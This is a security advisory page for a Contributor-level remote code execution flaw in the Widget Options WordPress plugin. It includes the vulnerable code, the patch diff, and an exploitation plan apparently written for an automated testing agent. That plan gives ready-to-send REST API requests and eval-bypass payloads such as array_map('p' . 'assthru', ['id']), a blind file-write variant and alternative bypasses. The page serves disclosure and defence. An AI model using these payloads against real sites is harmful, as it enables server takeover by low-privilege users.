Widget Options <= 4.2.2 - Authenticated (Contributor+) Remote Code Execution via Display Logic
Description
The Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.2.2 via the Display Logic feature. This is due to the plugin using eval() on user-supplied Display Logic expressions with an insufficient blocklist/allowlist that can be bypassed using array_map with string concatenation, combined with a lack of authorization enforcement on the extended_widget_opts_block attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server. The vulnerability was partially patched in version 4.2.0.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v4.2.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2052 (Widget Options RCE) ## 1. Vulnerability Summary The **Widget Options** plugin (up to 4.2.2) is vulnerable to Remote Code Execution (RCE) because it utilizes `eval()` to process "Display Logic" strings without adequate filtering. While the plugin attempts…
Show full research plan
Exploitation Research Plan: CVE-2026-2052 (Widget Options RCE)
1. Vulnerability Summary
The Widget Options plugin (up to 4.2.2) is vulnerable to Remote Code Execution (RCE) because it utilizes eval() to process "Display Logic" strings without adequate filtering. While the plugin attempts to block dangerous PHP functions, the blocklist is insufficient and can be bypassed using array_map combined with string concatenation (e.g., array_map('sys' . 'tem', ['id'])).
Crucially, the plugin registers a Gutenberg block attribute extended_widget_opts_block for all block types but fails to enforce proper authorization or sanitization on the logic property within this attribute. This allows users with Contributor-level permissions (who can create or edit posts) to inject arbitrary PHP code that executes when the block is rendered on the frontend.
2. Attack Vector Analysis
- Endpoint: WordPress REST API (
/wp-json/wp/v2/posts) or the Gutenberg editor save process. - Vulnerable Attribute:
extended_widget_opts_block(specifically thelogicsub-property). - Authentication: Authenticated (Contributor-level or higher).
- Payload Carry: The payload is stored within the Gutenberg block metadata (JSON-encoded in the
post_content). - Sink:
eval()call within the plugin's logic evaluation engine (likely triggered during block rendering).
3. Code Flow
- Registration: In
includes/widgets/gutenberg/gutenberg-toolbar.php, the plugin uses theregister_block_type_argsfilter (Line 96) to add theextended_widget_opts_blockattribute to almost all Gutenberg blocks. - Injection: A Contributor user creates a post. The block's attributes are sent to the server. For example, a
core/paragraphblock is saved with an attribute:extended_widget_opts_block: { "logic": "payload" }. - Storage: WordPress saves the block into
post_contentas:<!-- wp:paragraph {"extended_widget_opts_block":{"logic":"PAYLOAD"}} --><p>...</p><!-- /wp:paragraph --> - Rendering: When any user (including unauthenticated visitors) views the post, WordPress parses the blocks.
- Execution: The plugin hooks into the block rendering process (e.g.,
render_block). It extracts thelogicstring from theextended_widget_opts_blockattribute and passes it to the evaluation function (inferred to involveeval()). - Bypass: The evaluation function checks for strings like
system, but the payloadarray_map('p' . 'assthru', ['id'])bypasses the check because the literal stringpassthrudoes not appear in the source.
4. Nonce Acquisition Strategy
While the primary exploit involves a Contributor-level authenticated session, a WordPress REST API nonce (_wpnonce) is required to create or update posts via the API.
- Login: Authenticate as a Contributor.
- Retrieve Nonce: Navigate to the WordPress dashboard or a post editing page.
- Extraction: Use
browser_evalto extract the REST nonce from the globalwpApiSettingsobject.- Variable:
window.wpApiSettings.nonce
- Variable:
- Alternative: If the REST API is not used, the nonce
widgetopts-settings-noncefromajax-functions.php(Line 31) might be relevant for settings, but for RCE, the Gutenberg block attribute path is more direct.
5. Exploitation Strategy
Step 1: Authentication and Environment Setup
- Authenticate the session as a user with the
Contributorrole. - Verify that the "Display Logic" module is enabled (it usually is by default in the free version).
Step 2: Create a Malicious Post
Use the http_request tool to send a REST API request to create a post containing a block with the malicious logic.
- URL:
{{BASE_URL}}/wp-json/wp/v2/posts - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: {{REST_NONCE}}
- Payload:
{
"title": "Security Research",
"content": "<!-- wp:paragraph {\"extended_widget_opts_block\":{\"logic\":\"array_map('p' . 'assthru', ['id']) || true\"}} -->\n<p>Verification block</p>\n<!-- /wp:paragraph -->",
"status": "publish"
}
Note: Using || true ensures the eval() result returns true, so the block renders and the output is visible.
Step 3: Trigger the Execution
Capture the id of the created post from the JSON response of Step 2.
- URL:
{{BASE_URL}}/?p={{POST_ID}} - Method:
GET
Step 4: Verification
Inspect the HTML response for the output of the id command (e.g., uid=33(www-data)).
6. Test Data Setup
- User: A user with username
contributor_testand rolecontributor. - Plugin Config: Ensure "Display Logic" is active. If not, an admin must activate it via Settings > Widget Options > Modules.
- Block Context: No specific shortcodes are required for the RCE itself, as the attribute is added to standard blocks like
core/paragraph.
7. Expected Results
- The REST API call should return
201 Created. - The
GETrequest to the new post should contain the shell command output at the top or within the block's content area (depending on where the plugin'sevaloutput is captured/echoed). - If
passthruoutput is not directly visible in the HTML due to output buffering, use a blind payload:array_map('p' . 'assthru', ['touch wp-content/uploads/rce.txt']).
8. Verification Steps (Post-Exploit)
Using wp_cli:
- Check for the existence of a file created by the payload:
wp eval "echo file_exists('wp-content/uploads/rce.txt') ? 'VULNERABLE' : 'SAFE';" - Check the post content to ensure the attribute was saved correctly:
wp post get {{POST_ID}} --field=post_content
9. Alternative Approaches
- Snippet System: If Gutenberg attributes are blocked, check
includes/snippets/class-snippets-admin.php. The plugin recently introduced a "Snippets" system for logic. A Contributor might be able to create a logic snippet (CPTwidgetopts-snippets) that contains the sameevalbypass. - Classic Widgets: If the site uses the Classic Editor/Widgets, the same payload can be injected into the widget instance data via
widget_update_callback(referenced ingutenberg-toolbar.phpLine 172). - Function Concatenation: If
array_mapis blocked, try:$f = 'sys' . 'tem'; $f('id');('p' . 'assthru')('id');(PHP 7+)
Summary
The Widget Options plugin for WordPress is vulnerable to Remote Code Execution up to version 4.2.2 via its 'Display Logic' feature. Contributor-level users can inject arbitrary PHP code into Gutenberg block attributes, which the plugin then executes using eval() after failing to sufficiently validate the code for obfuscated or dynamic function calls.
Vulnerable Code
// includes/widgets/gutenberg/gutenberg-toolbar.php line 140 } else { //if block type is not luckywp/tableofcontents use type object $args['attributes']['extended_widget_opts_block'] = array( 'type' => 'object', 'default' => (object)[] ); $args['attributes']['extended_widget_opts'] = array( 'type' => 'object', 'default' => (object)[] ); } --- // includes/extras.php line 495 function widgetopts_safe_eval($expression) { if (widgetopts_is_widget_or_post_preview()) { // Always return true for previews unless the user is an administrator if (!current_user_can('administrator')) { return true; } } --- // includes/extras.php line 836 foreach ($tokens as $index => $token) { if (is_array($token)) { $token_type = $token[0]; $token_value = $token[1]; // **Fix: Properly detect function calls inside conditions** if ($token_type === T_STRING) { $function_name = strtolower($token_value); $next_token = $tokens[$index + 1] ?? null; if ($next_token === '(' || (is_array($next_token) && $next_token[0] === T_WHITESPACE && ($tokens[$index + 2] ?? null) === '(')) { if (!in_array($function_name, array_map('strtolower', $allowed_functions))) { $is_safe = false; break; } } } // ... dynamic calls via variables or strings were not checked
Security Fix
@@ -28,6 +28,11 @@ return; } + if (!current_user_can('manage_options')) { + wp_send_json_error('You do not have permission to manage settings.', 403); + exit; + } + switch ($_POST['method']) { case 'activate': case 'deactivate': @@ -141,8 +146,14 @@ add_action('wp_ajax_widgetopts_hideRating', 'widgetopts_ajax_hide_rating'); endif; + function widgetopts_ajax_validate_expression() { + if (!current_user_can('manage_options')) { + wp_send_json_error('You do not have permission to validate expressions.', 403); + exit; + } + if (!wp_verify_nonce($_POST['nonce'], 'widgetopts-expression-nonce')) { echo json_encode(['response' => 'failed', 'message' => 'Security check failed. Please refresh the page and try again.']); die(); @@ -495,8 +495,7 @@ function widgetopts_safe_eval($expression) { if (widgetopts_is_widget_or_post_preview()) { - // Always return true for previews unless the user is an administrator - if (!current_user_can('administrator')) { + if (!current_user_can('manage_options')) { return true; } } @@ -609,9 +608,20 @@ 'wordwrap', // Array Manipulation + 'array_merge', + 'array_diff', + 'array_keys', + 'array_values', 'in_array', 'count', 'sizeof', + 'array_slice', + 'array_push', + 'array_pop', + 'array_intersect', + 'array_unique', + 'array_column', + 'array_reverse', // Math Functions 'abs', @@ -684,8 +694,7 @@ 'pathinfo', 'basename', 'dirname', - 'file_exists', - 'readfile', + 'file_exists' ]; } @@ -820,6 +829,28 @@ } /** + * Return the nearest significant token relative to $index, skipping whitespace and comments. + * + * @param array $tokens Token array from token_get_all(). + * @param int $index Starting position. + * @param int $dir 1 = look forward (next), -1 = look backward (prev). + * @return array|string|null The token, or null if none found. + */ +function widgetopts_adjacent_significant_token(array $tokens, int $index, int $dir) +{ + $skip = [T_WHITESPACE, T_COMMENT, T_DOC_COMMENT]; + $count = count($tokens); + for ($i = $index + $dir; $dir === 1 ? $i < $count : $i >= 0; $i += $dir) { + $t = $tokens[$i]; + if (is_array($t) && in_array($t[0], $skip, true)) { + continue; + } + return $t; + } + return null; +} + +/** * Validate PHP code against allowed functions and detect obfuscated calls. * * @param string $code The PHP code to validate. @@ -836,19 +867,42 @@ $tokens = token_get_all($code); $is_safe = true; - $last_token = null; + + // Language constructs that are NOT T_STRING — the allowlist loop would silently skip them. + // T_EVAL / T_INCLUDE* / T_REQUIRE* are also caught by the regex in widgetopts_validate_expression, + // but blocking them here provides an independent second layer. + $forbidden_constructs = [T_EVAL, T_INCLUDE, T_INCLUDE_ONCE, T_REQUIRE, T_REQUIRE_ONCE, T_EXIT, T_GOTO]; foreach ($tokens as $index => $token) { if (is_array($token)) { - $token_type = $token[0]; + $token_type = $token[0]; $token_value = $token[1]; - // **Fix: Properly detect function calls inside conditions** - if ($token_type === T_STRING) { - $function_name = strtolower($token_value); - $next_token = $tokens[$index + 1] ?? null; + // Block language constructs (eval, include, require, exit, goto). + // These produce dedicated token types, not T_STRING, so the allowlist + // check below would silently pass them. + if (in_array($token_type, $forbidden_constructs, true)) { + $is_safe = false; + break; + } - if ($next_token === '(' || (is_array($next_token) && $next_token[0] === T_WHITESPACE && ($tokens[$index + 2] ?? null) === '(')) { + // Detect function calls — skip non-significant tokens before '(' + if ($token_type === T_STRING) { + $next = widgetopts_adjacent_significant_token($tokens, $index, 1); + if ($next === '(') { + // Block method/static/nullsafe calls: $obj->func(), Class::func(), $obj?->func() + // The identifier looks like an allowed function name but is actually a method — + // the allowlist covers only direct (free) function calls. + $prev = widgetopts_adjacent_significant_token($tokens, $index, -1); + $method_ops = [T_OBJECT_OPERATOR, T_DOUBLE_COLON]; + if (defined('T_NULLSAFE_OBJECT_OPERATOR')) { + $method_ops[] = T_NULLSAFE_OBJECT_OPERATOR; // PHP 8.0+ (?->) + } + if (is_array($prev) && in_array($prev[0], $method_ops, true)) { + $is_safe = false; + break; + } + $function_name = strtolower($token_value); if (!in_array($function_name, array_map('strtolower', $allowed_functions))) { $is_safe = false; break; @@ -856,22 +910,30 @@ } } - // **Fix: Detect if T_ENCAPSED_AND_WHITESPACE is being treated as code** + // Detect if T_ENCAPSED_AND_WHITESPACE is being treated as code if ($token_type === T_ENCAPSED_AND_WHITESPACE) { $is_safe = false; break; } - // **Fix: Dynamic Function Execution (`$func()` or `['test']()`)** + // Dynamic call via variable or string literal: `$fn()` / `'func'()` + // Skip non-significant tokens between the token and '(' if ($token_type === T_VARIABLE || $token_type === T_CONSTANT_ENCAPSED_STRING) { - $next_token = $tokens[$index + 1] ?? null; - if ($next_token === '(') { + $next = widgetopts_adjacent_significant_token($tokens, $index, 1); + if ($next === '(') { $is_safe = false; break; } } - - $last_token = $token; + } elseif ($token === ']' || $token === ')') { + // Subscript-then-call `$arr['key']()` and + // Concat-then-call `('fi'.'le_put_contents')()` + // Skip non-significant tokens (whitespace / comments) before '(' + $next = widgetopts_adjacent_significant_token($tokens, $index, 1); + if ($next === '(') { + $is_safe = false; + break; + } } }
Exploit Outline
The exploit target is an authenticated Contributor user who has access to create or edit posts via the Gutenberg editor or the WordPress REST API. 1. **Payload Creation**: The attacker crafts a PHP payload that bypasses simple function-name scanning. Since the plugin's validation logic up to 4.2.2 only checks for literal function names followed by parentheses (T_STRING followed by '('), a payload like `array_map('p' . 'assthru', ['id'])` or `('sys' . 'tem')('id')` will bypass the filter because the literal strings 'passthru' or 'system' do not appear as direct tokens followed by a parenthesis. 2. **Injection**: The attacker creates a new post and injects the payload into the `extended_widget_opts_block` attribute of any Gutenberg block (like `core/paragraph`). The payload is placed in the `logic` property of this attribute: `{"extended_widget_opts_block":{"logic":"array_map('p' . 'assthru', ['id']) || true"}}`. 3. **Execution**: Once the post is saved, the attacker (or any visitor) views the post. When WordPress renders the block, the Widget Options plugin extracts the `logic` string and executes it via `eval()`. Using `|| true` in the payload ensures the block remains visible in the browser, allowing the attacker to see the command output in the HTTP response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.